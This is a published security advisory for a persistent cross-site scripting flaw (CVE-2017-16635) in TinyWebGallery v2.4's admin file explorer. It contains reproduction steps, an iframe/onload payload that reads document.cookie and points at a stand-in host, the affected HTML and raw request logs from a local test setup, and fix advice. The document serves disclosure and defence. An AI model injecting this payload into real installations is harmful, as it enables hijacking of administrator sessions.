TinyWebGallery v2.4 (TWGE) - Persistent XSS Vulnerability

Document Title:
===============
TinyWebGallery v2.4 (TWGE) - Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1997

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16635
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16635

CVE-ID:
=======
CVE-2017-16635


Release Date:
=============
2017-11-01


Vulnerability Laboratory ID (VL-ID):
====================================
1997


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
The TinyWebGallery is a free php based gallery that is very easy to install, extremely user friendly, does not need a database 
(uses xml files) but still has all the features you should expect and much more. The TinyWebGallery is a php photo gallery / album 
that is very easy to install, extremely user friendly, does not need a database (uses xml files) but still has all the features 
you should expect and much more.

(Copy of the Homepage: http://www.tinywebgallery.com/en/overview.php )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent vulnerability in the official TinyWebGallery v2.4 TWG Explorer web-application.


Vulnerability Disclosure Timeline:
==================================
2017-11-01: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Michael Dempfle
Product: TinyWebGallery - (TWG Explorer) Web Application 2.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Responsible Disclosure Program


Technical Details & Description:
================================
A persistent cross site scripting vulnerability has been discovered in the official TinyWebGallery v2.4 TWG Explorer web-application.
The persistent vulnerability allows remote attackers to inject own malicious script code to the application-side of the vulnerable service.

The vulnerability is located in the `mkname`, `mkitem` and `item` parameters of the `Add/Create` module. Remote attackers with low 
privilege user account for backend access are able to inject malicious script codes to the `TWG Explorer` item listing. The request 
method to inject is POST and the attack vector is located on the application-side of the service. The injection point is the add/create 
input field and the execution point occurs in the item listing after the add or create.

The security risk of the cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9. 
Exploitation of the client-side web vulnerability requires a privileged web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in persistent phishing, session hijacking, persistent external redirect 
to malicious sources and client-side manipulation of affected or connected web module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] TWG Explorer

Vulnerable Parameter(s):
[+] mkname
[+] mkitem

Affeced Module(s):
[+] item listing index


Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers with restricted privileged accounts and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the tinygallery web-application
2. Login to the service with the restricted privileges
3. Open the backend section
4. Add a file oder folder by usage of the malicious test payload
5. Save the entry via POST method request
Note: Now a refresh occurs to the main item listing after processing to add
6. The code executes in the list without secure parse
Note: After the inject the moderator only needs to wait since the administrators visits the listing of the files/folders
7. Successful reproduce of the persistent vulnerability!


PoC: Payload
>"<%20%20<iframe src=evil.source onload=alert(document.cookie)>


PoC: Vulnerable Source (TWG Explorer - Exploitation Folder)
<tr>
<td><a href="http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=rename&amp;dir=&amp;item=%3E%22%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E++%3E%22%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&amp;order=name&amp;srt=yes&amp;tview=no&amp;sview=yes&amp;lang=de"><img class="bsprites rename_gif" src="./_img/_.gif" alt="Umbenennen" title="Umbenennen"></a></td>
<td><img src="./_img/_.gif" alt="" width="16" border="0" align="middle" height="16"></td>
<td><img src="./_img/_.gif" alt="" width="16" border="0" align="middle" height="16"></td>
<td><a name="link_item_1" href="#link_item_1" title="Löschen" onclick="javascript: ClearAll(); getElementById('item_1').checked = true; if( confirm('Sicher, dass das Verzeichnis n>" <iframe="" src="evil.source" onload="alert(document.cookie)">  &gt;"<iframe src="evil.source" onload="alert(document.cookie)">? gel&ouml;scht werden soll?nAlle Inhalte werden gel&ouml;scht.') ) { document.selform.do_action.value='delete'; document.selform.submit(); } else {  getElementById('item_1').checked = false; return false;}"><img class='bsprites delete_gif' src="./_img/_.gif" alt="L&ouml;schen" title="L&ouml;schen"></a></td>
</tr></table>
</td></tr>


PoC: Vulnerable Source (TWG Explorer - Exploitation File)
<tr onmouseover="showImageDiv('9');style.backgroundColor='#D8ECFF';" 
onmouseout="hideImageDiv('9');style.backgroundColor='#fafafa';" style="background-color: rgb(250, 250, 250);" 
bgcolor="#fafafa"><td><input id="item_9" name="selitems[]" value="a>&quot;<[MALICIOUS EXECUTION POINT!]>" 
onclick="javascript:Toggle(this);" type="checkbox"></td>
<td nowrap="nowrap"><a href=".././a>" <[MALICIOUS EXECUTION POINT!]>" target="_blank">
<img align="middle"  src="_img/_.gif" class="sprites file_gif">&nbsp;a&gt;&quot;&lt;[MALICIOUS EXECUTION POINT!]&gt;</a></td>
<td>-</td>
<td>Datei</td>
<td>06.11.2016 16:33</td>
<td><a href="http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=chmod&amp;dir=&amp;item=a%3E%22%3Ciframe%3Ea%3E%22%3Ciframe%3E&amp;order=name&amp;srt=yes&amp;tview=no&amp;sview=yes&amp;lang=de" title="Rechte &auml;ndern">-rw-rw-r--</a></td>


--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=mkitem&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de 
Mime Type[text/html]
   Request Header:
      Host[tinywebgallery.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php]
      Cookie[PHPSESSID=fdv10f4oldurr9t3ibjug955n2; locale=en-US; tzo=60; _pk_id.2.bb5e=6721c3ee6b4e3959.1478431665.1.1478432344.1478431665.; _pk_ses.2.bb5e=*]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   POST-Daten:
      token[2c1a69b9dad891757b50cb27d3d1ace4]
      mktype[dir]
      mkname[%3E%22%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E]
   Response Header:
      Server[nginx/1.2.1]
      Content-Type[text/html]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
      Location[http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=list&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de]
-
Status: 200[OK]
POST http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=mkitem&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de 
Mime Type[text/html]
   Request Header:
      Host[tinywebgallery.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=list&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de]
      Cookie[PHPSESSID=fdv10f4oldurr9t3ibjug955n2; locale=en-US; tzo=60; _pk_id.2.bb5e=6721c3ee6b4e3959.1478431665.1.1478435423.1478431665.; _pk_ses.2.bb5e=*]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   POST-Daten:
      token[2c1a69b9dad891757b50cb27d3d1ace4]
      mktype[file]
      mkname[%3E%22%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E]
   Response Header:
      Server[nginx/1.2.1]
      Content-Type[text/html; charset=utf-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
-
Status: 200[OK]
GET http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=list&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de 
Mime Type[text/html]
   Request Header:
      Host[tinywebgallery.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php]
      Cookie[PHPSESSID=fdv10f4oldurr9t3ibjug955n2; locale=en-US; tzo=60; _pk_id.2.bb5e=6721c3ee6b4e3959.1478431665.1.1478432344.1478431665.; _pk_ses.2.bb5e=*]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[nginx/1.2.1]
      Content-Type[text/html; charset=utf-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
-
Status: 200[OK]
GET http://tinywebgallery.localhost:8080/tinywebgallery/admin/evil.source 
Mime Type[text/html]
   Request Header:
      Host[tinywebgallery.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=list&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de]
      Cookie[PHPSESSID=fdv10f4oldurr9t3ibjug955n2; locale=en-US; tzo=60; _pk_id.2.bb5e=6721c3ee6b4e3959.1478431665.1.1478432987.1478431665.; _pk_ses.2.bb5e=*]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[nginx/1.2.1]
      Content-Type[text/html; charset=iso-8859-1]
      Transfer-Encoding[chunked]
      Connection[keep-alive]


Reference(s):
http://tinywebgallery.localhost:8080/
http://tinywebgallery.localhost:8080/tinywebgallery/
http://tinywebgallery.localhost:8080/tinywebgallery/admin/
http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php


Solution - Fix & Patch:
=======================
Parse the input field to add files or folder. Restrict the input fields to filter and disallow the usage of special chars to prevent the injection point.
Escape the entries in case of emergency to prevent attacks in the backend against higher privilege admin accounts. 
Parse the vulnerable output parameter in the listing module to resolve the issue.
Ensure that only trusted sources are allowed to add folders or files via file explorer module.


Security Risk:
==============
The security risk of the persistent cross site scripting web vulnerability in the gallery web-application version v2.4 is estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


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=========================
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